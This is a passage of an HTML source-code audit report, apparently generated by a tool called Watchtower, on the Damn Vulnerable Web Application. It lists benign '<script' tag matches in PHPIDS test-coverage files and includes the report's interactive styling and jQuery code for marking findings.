<!DOCTYPE html> <html> <head> <title>Watchtower :: Damn Vulnerable Web Application</title> <style> /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:before, .ui-helper-clearfix:after { content: ""; display: table; } .ui-helper-clearfix:after { clear: both; } .ui-helper-clearfix { zoom: 1; } .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Component containers ----------------------------------*/ .ui-widget { font-family: sans-serif; font-size: 1.1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: sans-serif; font-size: 1em; } .ui-widget-content { border: 1px solid #dddddd; background: #70A2D3 50% top repeat-x;} .ui-widget-header { background: 50% 50% repeat-x; color: #ffffff; font-weight: bold; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #cccccc; background: 50% 50% repeat-x;} .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: white; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #EEE; background: 50% 50% repeat-x; font-weight: bold; color: #c77405; } .ui-state-hover a, .ui-state-hover a:hover { color: white; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #4183C4; background: white 50% 50% repeat-x; font-weight: bold;} .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #4183C4; text-decoration: none; } .ui-widget :active { outline: none; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; -khtml-border-top-left-radius: 4px; border-top-left-radius: 4px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; -khtml-border-top-right-radius: 4px; border-top-right-radius: 4px; } /*! * jQuery UI Tabs 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Tabs#theming */ .ui-tabs { position: relative; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ .ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } .ui-tabs .ui-tabs-nav li a { float: left; padding: .25em 1em; text-decoration: none; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } .ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ .ui-tabs .ui-tabs-panel { display: block; border-width: 0; background: none; } .ui-tabs .ui-tabs-hide { display: none !important; } a:link, a:visited{ color: #4183C4; text-decoration: none; } a:hover{ cursor: pointer; text-decoration: underline; } body{ font-family: sans-serif; font-size: small; margin: 0; padding: 0; } #container{ background-color: white; border: 1px solid silver; border-radius: 10px; color: #333; margin: 40px auto 10px auto; width: 1000px; } #control_bar{ background-color: #4183C4; color: white; line-height: 30px; margin: 0; opacity: .75; padding: 0; position: fixed; top: 0; width: 100%; z-index: 100; } .column_nav{ border-right: 1px solid #EEE; float: left; width: 180px; margin: 10px 5px 10px 10px; padding: 10px; } .column_nav span.pin{ float: right; font-size: x-small; } .column_nav ul{ list-style-type: none; margin: 0 0 20px 0; padding: 0; } .column_nav ul li{ overflow: auto; } .column_nav ul li a.signature_hidden{ color: silver; } .column_nav ul li a.show_hide{ color: #4183C4; display: none; float: right; font-size: x-small; margin-right: 10px; margin-top: 2px; } .column_nav ul li:hover{ background-color: #F8F8F8; } .column_nav ul li:hover a.show_hide{ display: list-item; } .column_nav h3{ font-size: small; font-weight: normal; margin: 0; text-transform: capitalize; } .column_content{ float: right; width: 740px; margin: 10px 10px 10px 5px; padding: 10px; } .column_content h2{ margin: 0 0 10px 0; text-transform: uppercase; } .column_content h3 span{ color: silver; } .column_content h3 span.top_hide{ float: right; font-size: x-small; font-weight: bold; } .column_content h3 span.top_hide a{ color: #4183C4; } div.point_of_interest{ background-color: white; border: 2px solid #EEE; border-radius: 10px; box-shadow: 2px 2px 2px #BFBFBF; margin: 10px; padding: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; } div.point_of_interest.poi_bad{ border: 2px solid #A52A2A; background-color: #FFC0CB; } div.point_of_interest.poi_dubious{ background-color: lightyellow; border: 2px solid gold; } div.point_of_interest.poi_ok{ background-color: #90EE90; border: 2px solid green; } div.point_of_interest div.poi_content p, div.point_of_interest div.poi_content pre{ margin: 0; padding: 0; } div.point_of_interest div.poi_content{ background-color: #EEE; overflow: auto; padding: 5px; } div.point_of_interest span.poi_mark_content{ color: silver; float: right; font-size: x-small; } div.point_of_interest span.poi_mark_content a{ color: #4183C4; padding: 0 2px; border-radius: 2px; } div.point_of_interest span.poi_mark_content a.poi_ok{ color: green; } div.point_of_interest span.poi_mark_content a.poi_dubious{ color: orange; } div.point_of_interest span.poi_mark_content a.poi_bad{ color: #A52A2A; } div.point_of_interest.poi_ok span.poi_mark_content a.poi_ok{ background-color: green; color: white; } div.point_of_interest.poi_dubious span.poi_mark_content a.poi_dubious{ background-color: orange; color: white; } div.point_of_interest.poi_bad span.poi_mark_content a.poi_bad{ background-color: #A52A2A; color: white; } div.point_of_interest.poi_ok span.poi_mark_content a.poi_ok:hover, div.point_of_interest.poi_dubious span.poi_mark_content a.poi_dubious:hover, div.point_of_interest.poi_bad span.poi_mark_content a.poi_bad:hover{ text-decoration: none; } div.point_of_interest span.file_name{ font-size: small; } div.point_of_interest span.match_count{ color: gray; font-size: x-small; } div.point_of_interest span.line_number{ color: green; font-size: small; } footer{ clear: both; padding: 10px; text-align: center; } html{ background-color: #EEE; } #highlighting{ float: left; padding: 0 10px; } #highlighting a{ color: white; } #inner{ margin: 0 auto; width: 1000px; } #inner p{ margin: 0; padding: 0; } #main{ clear: both; } #masthead_left{ float: left; padding: 10px; } #masthead_left h1{ font-weight: normal; margin: 0; padding: 0; } #masthead_right{ float: right; padding: 10px; } #masthead_right h4, #masthead_right p{ margin: 0; padding: 0; } p.warning{ background-color: red; color: white; clear: both; font-weight: bold; line-height: 2em; text-align: center; } p.warning#no_storage{ display: none; } #show{ float: right; padding: 0 10px; } #show a{ color: white; } span.match_highlight{ background-color: yellow; color: black; } span.signature_count{ color: gray; font-size: x-small; } </style> <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js'></script> <script src='http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js'></script> <script type='text/javascript'> /* The main wt object */ var wt = { // sets the highlighting on or off set_highlight: function(mode){ var bg_color = (mode === 'on') ? 'yellow' : 'transparent' ; $('span.match_highlight').css('background-color', bg_color); }, // toggles the pin status of the sidebar toggle_pin: function(){ // get a handle on the necessary objects var pin_link = $('nav.column_nav span.pin a'); // toggle the pin state if(pin_link.html() == 'pin'){ $('nav.column_nav').css('position', 'fixed'); pin_link.html('unpin'); } else { $('nav.column_nav').css('position', 'relative'); pin_link.html('pin'); } }, }; /* the wt datastore (manages LocalStorage) */ wt.data_store = { load: function(){ // verify that a localstorage object exists if(localStorage['watchtower1363052616'] !== undefined){ // unpack the saved classes back into an array var poi_classes = jQuery.parseJSON(localStorage['watchtower1363052616']); // do this.save(), but in reverse $('div.point_of_interest').each(function(index, element){ if(poi_classes[index] !== undefined){ $(element).attr('class', poi_classes[index]); } }); // hide the appropriate PoIs $('div.poi_hidden div.poi_content').hide(); $('div.poi_hidden span.poi_mark_content a.poi_hide').text('Show'); } }, save: function(){ var poi_classes = []; // Iterate over the PoIs. Save the class of each that has been marked. $('div.point_of_interest').each(function(index, element){ var the_classes = $(element).attr('class'); poi_classes[index] = the_classes; }); localStorage['watchtower1363052616'] = window.JSON.stringify(poi_classes); }, }; /* Points of Interest */ wt.poi = { // hides each poi's content hide_content: function(o){ var obj = $(o); var next_text = (obj.text() == 'Hide') ? 'Show' : 'Hide'; var poi = obj.parents('div.point_of_interest'); obj.text(next_text); poi.toggleClass('poi_hidden'); poi.children('div.poi_content').fadeToggle(); wt.data_store.save(); }, // marks the poi as "ok" or "bad" mark: function(obj, mark){ var poi = $(obj).parents('div.point_of_interest'); // toggle the classes of both the pois and the links if(mark == 'ok'){ poi.toggleClass('poi_ok'); poi.removeClass('poi_dubious'); poi.removeClass('poi_bad'); } else if(mark == 'dubious'){ poi.removeClass('poi_ok'); poi.toggleClass('poi_dubious'); poi.removeClass('poi_bad'); } else if(mark == 'bad'){ poi.removeClass('poi_ok'); poi.removeClass('poi_dubious'); poi.toggleClass('poi_bad'); } wt.data_store.save(); }, // shows only the pois specified show: function(mode){ // @note: this is just too slow to render with show(), so don't try. // The animations perform terribly. if(mode == 'all'){ $('div.point_of_interest').css('display', 'block'); } else if(mode == 'ok'){ $('div.point_of_interest').css('display', 'none'); $('div.point_of_interest.poi_ok').css('display', 'block'); } else if(mode == 'dubious'){ $('div.point_of_interest').css('display', 'none'); $('div.point_of_interest.poi_dubious').css('display', 'block'); } else if(mode == 'bad'){ $('div.point_of_interest').css('display', 'none'); $('div.point_of_interest.poi_bad').css('display', 'block'); } // hide the signature groups which have no signatures to display $('div.signature_group').show(); if(mode === 'ok' || mode === 'dubious' || mode === 'bad'){ $('div.signature_group').each(function(index, element){ if(element.find('div.poi_' + mode).length === 0){ element.hide(); } /* if($(this).find('div.poi_' + mode).length === 0){ $(this).hide(); } */ }); } wt.data_store.save(); }, }; /* Signatures */ wt.signature = { // shows/hides an individual signature toggle: function(filetype, signature){ var obj = $('div#filetype_' + filetype + ' .column_nav ul li.' + signature + ' a').last(); var new_text = (obj.text() == 'Show') ? 'Hide' : 'Show' ; obj.text(new_text); //modify the nav item $('div#filetype_' + filetype + ' div.column_nav ul li.' + signature + ' a').toggleClass('signature_hidden'); //hide the signature $('div#filetype_' + filetype + ' div.signature_' + signature).fadeToggle(); wt.data_store.save(); }, // shows/hides payload groups toggle_group: function(obj, group){ var sym = $(obj).children('span.expand_collapse').text(); var new_sym = (sym == '-') ? '+' : '-' ; $(obj).children('span.expand_collapse').text(new_sym); $('ul.signature_group_' + group).fadeToggle(); $('div.signature_group_' + group).fadeToggle(); wt.data_store.save(); }, }; // on-load initializations jQuery(document).ready(function(){ // initialize the tabbed display $('#main').tabs(); // animate opacity on the control bar $('#control_bar').hover( function(){ $(this).fadeTo('fast', 1); }, function(){ $(this).fadeTo('fast', 0.75); } ); // bind events - Points of Interest $('a.poi_ok').click(function(){ wt.poi.mark(event.target, "ok"); }); $('a.poi_dubious').click(function(){ wt.poi.mark(event.target, "dubious"); }); $('a.poi_bad').click(function(){ wt.poi.mark(event.target, "bad"); }); $('a.poi_hide').click(function(){ wt.poi.hide_content(event.target); }); // local storage if(typeof(Storage) !== 'undefined'){ console.log('Local storage is available!'); console.log('Saving to key: watchtower1363052616'); wt.data_store.load(); } else { // warn the user that work will not be saved console.log('Local storage is not available.'); $('p.warning#no_storage').fadeIn(); } }); </script> </head> <body> <div id='control_bar'> <div id='inner'> <div id='highlighting'> Highlighting: <a href='javascript:wt.set_highlight("on")'>On</a> | <a href='javascript:wt.set_highlight("off")'>Off</a> </div> <div id='show'> Show: <a href='javascript:wt.poi.show("all")'>All</a> | <a href='javascript:wt.poi.show("ok")'>OK</a> | <a href='javascript:wt.poi.show("dubious")'>Dubious</a> | <a href='javascript:wt.poi.show("bad")'>Bad</a> </div> </div> </div> <div id='container'> <div id='masthead'> <div id='masthead_left'> <h1>Damn Vulnerable Web Application</h1> <p>Source Code Audit - <em>2013-03-11</em> <br>Prepared for <em>Enzo's Pizza</em> </p> </div> <div id='masthead_right'> <h4>Auditor:</h4> <p>Hiro Protagonist <br><a href='#'>hiro@example.com</a> <br><a href='#'>blog.example.com</a> <br><a href='#'>twitter.com/example</a></p> </div> <noscript> <p class='warning'>WARNING: You have JavaScript disabled. You will not have access to this report's advanced functionality.</p> </noscript> <p class='warning' id='no_storage'>Your browser does not support HTML 5 Local Storage. Your work will not be saved.</p> </div> <div id='main'> <!-- tab navigation --> <nav> <ul> <li><a href='#filetype_html'>html</a></li> <li><a href='#filetype_java'>java</a></li> <li><a href='#filetype_js'>js</a></li> <li><a href='#filetype_php'>php</a></li> </ul> </nav> <!-- @filetype --> <div id='filetype_html'> <nav class='column_nav'> <span class='pin'><a href='javascript:wt.toggle_pin()'>pin</a></span> <h3><a onclick='javascript:wt.signature.toggle_group(this, "inputs")'>inputs [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_inputs'> <li class='ea02e39fa43dc914db8a9250c86fa57d'> <code><a href='#s-ea02e39fa43dc914db8a9250c86fa57d'><script</a></code> <span class='signature_count'>(22)</span> <a class='show_hide' onclick='wt.signature.toggle("html","ea02e39fa43dc914db8a9250c86fa57d")'>Hide</a> </li> </ul> <h3><a onclick='javascript:wt.signature.toggle_group(this, "comments")'>comments [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_comments'> <li class='c11bb7eec8b60626961f63cda07648ac'> <code><a href='#s-c11bb7eec8b60626961f63cda07648ac'><!--</a></code> <span class='signature_count'>(257)</span> <a class='show_hide' onclick='wt.signature.toggle("html","c11bb7eec8b60626961f63cda07648ac")'>Hide</a> </li> </ul> </nav> <div class='column_content'> <h2>html</h2> <div class='signature_ea02e39fa43dc914db8a9250c86fa57d signature_group_inputs signature_group'> <a name='s-ea02e39fa43dc914db8a9250c86fa57d'></a> <h3> <code><script</code> <span class='signature_count'>(22)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("html","ea02e39fa43dc914db8a9250c86fa57d")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Caching_Factory.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(1/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Caching_Factory.php.html</span>:<span class='line_number'>261</span> <span class='match_count'>(2/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>258- 259- <br /> 260- 261: <span class='match_highlight'><script</span> language="javascript"> 262- $E = YAHOO.util.Event; 263- YAHOO.namespace("phpunit.container"); 264- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Caching_File.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(3/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Caching_File.php.html</span>:<span class='line_number'>456</span> <span class='match_count'>(4/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>453- 454- <br /> 455- 456: <span class='match_highlight'><script</span> language="javascript"> 457- $E = YAHOO.util.Event; 458- YAHOO.namespace("phpunit.container"); 459- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Filter.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(5/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Filter.php.html</span>:<span class='line_number'>486</span> <span class='match_count'>(6/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>483- 484- <br /> 485- 486: <span class='match_highlight'><script</span> language="javascript"> 487- $E = YAHOO.util.Event; 488- YAHOO.namespace("phpunit.container"); 489- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Caching_Session.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(7/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Caching_Session.php.html</span>:<span class='line_number'>380</span> <span class='match_count'>(8/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>377- 378- <br /> 379- 380: <span class='match_highlight'><script</span> language="javascript"> 381- $E = YAHOO.util.Event; 382- YAHOO.namespace("phpunit.container"); 383- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Converter.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(9/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Converter.php.html</span>:<span class='line_number'>1230</span> <span class='match_count'>(10/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1227- 1228- <br /> 1229- 1230: <span class='match_highlight'><script</span> language="javascript"> 1231- $E = YAHOO.util.Event; 1232- YAHOO.namespace("phpunit.container"); 1233- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Event.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(11/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Event.php.html</span>:<span class='line_number'>557</span> <span class='match_count'>(12/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>554- 555- <br /> 556- 557: <span class='match_highlight'><script</span> language="javascript"> 558- $E = YAHOO.util.Event; 559- YAHOO.namespace("phpunit.container"); 560- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Caching_Interface.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(13/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Caching_Interface.php.html</span>:<span class='line_number'>187</span> <span class='match_count'>(14/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>184- 185- <br /> 186- 187: <span class='match_highlight'><script</span> language="javascript"> 188- $E = YAHOO.util.Event; 189- YAHOO.namespace("phpunit.container"); 190- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Monitor.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(15/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Monitor.php.html</span>:<span class='line_number'>1245</span> <span class='match_count'>(16/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1242- 1243- <br /> 1244- 1245: <span class='match_highlight'><script</span> language="javascript"> 1246- $E = YAHOO.util.Event; 1247- YAHOO.namespace("phpunit.container"); 1248- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Init.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(17/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Init.php.html</span>:<span class='line_number'>576</span> <span class='match_count'>(18/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>573- 574- <br /> 575- 576: <span class='match_highlight'><script</span> language="javascript"> 577- $E = YAHOO.util.Event; 578- YAHOO.namespace("phpunit.container"); 579- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Report.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(19/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Report.php.html</span>:<span class='line_number'>774</span> <span class='match_count'>(20/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>771- 772- <br /> 773- 774: <span class='match_highlight'><script</span> language="javascript"> 775- $E = YAHOO.util.Event; 776- YAHOO.namespace("phpunit.container"); 777- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Filter_Storage.php.html</span>:<span class='line_number'>9</span> <span class='match_count'>(21/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- <title>PHPIDS</title> 7- <link rel="stylesheet" type="text/css" href="style.css"> 8- <link rel="stylesheet" type="text/css" href="container.css"> 9: <span class='match_highlight'><script</span> type="text/javascript" src="yahoo-dom-event.js"></script> 10: <span class='match_highlight'><script</span> type="text/javascript" src="container-min.js"></script> 11- </head> 12- 13- <body class="yui-skin-sam"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/coverage/Filter_Storage.php.html</span>:<span class='line_number'>683</span> <span class='match_count'>(22/22)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>680- 681- <br /> 682- 683: <span class='match_highlight'><script</span> language="javascript"> 684- $E = YAHOO.util.Event; 685- YAHOO.namespace("phpunit.container"); 686- YAHOO.phpunit.container.panelsData = {</code></pre> </div> </div> </div> </div> <div class='signature_c11bb7eec8b60626961f63cda07648ac signature_group_comments signature_group'> <a name='s-c11bb7eec8b60626961f63cda07648ac'></a> <h3> <code><!--</code> <span class='signature_count'>(257)</span> <span class='top_hide'> <a href='#'>Top</a> | <a 